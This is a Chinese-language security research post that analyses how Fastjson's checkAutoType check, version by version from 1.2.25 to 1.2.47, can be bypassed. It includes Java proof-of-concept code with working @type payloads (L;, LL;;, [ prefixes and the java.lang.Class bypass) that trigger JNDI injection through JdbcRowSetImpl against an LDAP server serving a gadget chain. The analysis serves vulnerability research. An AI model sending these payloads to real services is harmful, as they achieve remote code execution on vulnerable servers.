前言

第二次和这玩意对线了,第一次是23年中。这次终于懂了。

image-20240301144413092.png

概述

参考:https://xz.aliyun.com/t/7027

1、自1.2.25之后,多了个checkAutoType方法。这个方法的位置:在parseObject里,扫描到@type后准备获取class之前。

2、checkAutoType方法的作用:检查不合法的类,若类合法,最后返回一个Class,用于后续创建对象。

3、在checkAutoType里,调用了很多次三种方法:

TypeUtils.getClassFromMapping(typeName)

deserializers.findClass(typeName);

TypeUtils.loadClass(typeName, defaultClassLoader); // 第二个参数在checkAutoType方法中是null

getClassFromMapping作用:从一个静态变量mapping里根据typeName取出class对象。

findClass作用:在一个成员变量buckets里根据typeName取出class对象。

loadClass作用:若typeName以[开头,或以L开头且分号结尾,都去掉头尾这些字符。再类加载typeName,再将加载得到的class对象和typeName put进mapping。

4、我debug分析一会后,独立写出了一种针对于41、42、43版本的poc。无需手动设置autoType为true。与25-47的通杀poc本质相同,但路径有些许不同。

checkAutoType

在1.2.25中,该方法逻辑概括如下,各版本变更都用注释标出。

// 1.2.42增加1、若类名长度<3或>128,则抛异常
// 1.2.42增加2: 检查类名开头是否是L和结尾是否是分号,若是则都去掉。这导致了双写绕过
// 在1.2.43中修改双写绕过的逻辑:由去掉开头的L和结尾的分号修改为:若开头是LL且结尾是;;,则异常,若开头是L且结尾是;,则去掉L和分号。但是没有注意到 [ 这个符号可以绕过。
// 在1.2.44中:直接不允许 L和[ 开头

if (autoTypeSupport || expectClass != null) {
// 先检查白名单,符合白名单则直接返回
// 再检查黑名单,符合则抛异常
// 从1.2.42 开始,这里的黑名单由明文变成了哈希
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}

if (!autoTypeSupport) {
// 先检查白名单,符合白名单则直接返回
// 再检查黑名单,符合则抛异常
// 从1.2.42 开始,这里的黑名单由明文变成了哈希
}


if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

/*
在41版本中,上面两个if合并修改为如下的:
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
*/

...


if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;

unk’s poc

主要在41 42 43 版本可打。

原理:执行两次checkAutoType,第一次进入TypeUtils.loadClass,让JdbcRowSetImpl被put进mapping。第二次则可以从TypeUtils.getClassFromMapping获取到JdbcRowSetImpl了。

  public static void main(String[] args) throws Exception{
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"}"; //41
//String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"}"; //42
//String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"}"; //43
System.out.println(PoC);
try{
JSON.parse(PoC);
}catch (Exception e){

}
Object pojoNodeChainPoc = Gadget.getPOJONodeChainPoc("fj_1_2_25to1_2_41.Poc1");
new LDAPServer(17777, Util.serialize(pojoNodeChainPoc)).start();
PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:17777/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}

25-47 通杀

主思路仍是想办法先执行TypeUtils.loadClass,后面就可以从getClassFromMapping获取。

public static void main(String[] args) throws Exception{

String PoC = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
System.out.println(PoC);
JSON.parse(PoC);
Object pojoNodeChainPoc = Gadget.getPOJONodeChainPoc("fj_1_2_25to1_2_41.Poc1");
new LDAPServer(17777, Util.serialize(pojoNodeChainPoc)).start();
PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:17777/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}

第一次parse时,获取到Class,准备进行deserialze。

image-20240301104602258.png

在deserialze中,会对JSON里的val字段loadClass。

image-20240301104638516.png

loadClass加入mapping,那么第二次checkAutoType就能获取jdbcrowset。

image-20240301105120667.png

由于第一次parse不会抛出异常,那么两个json可以合并为一个,就是网上常见的通杀poc。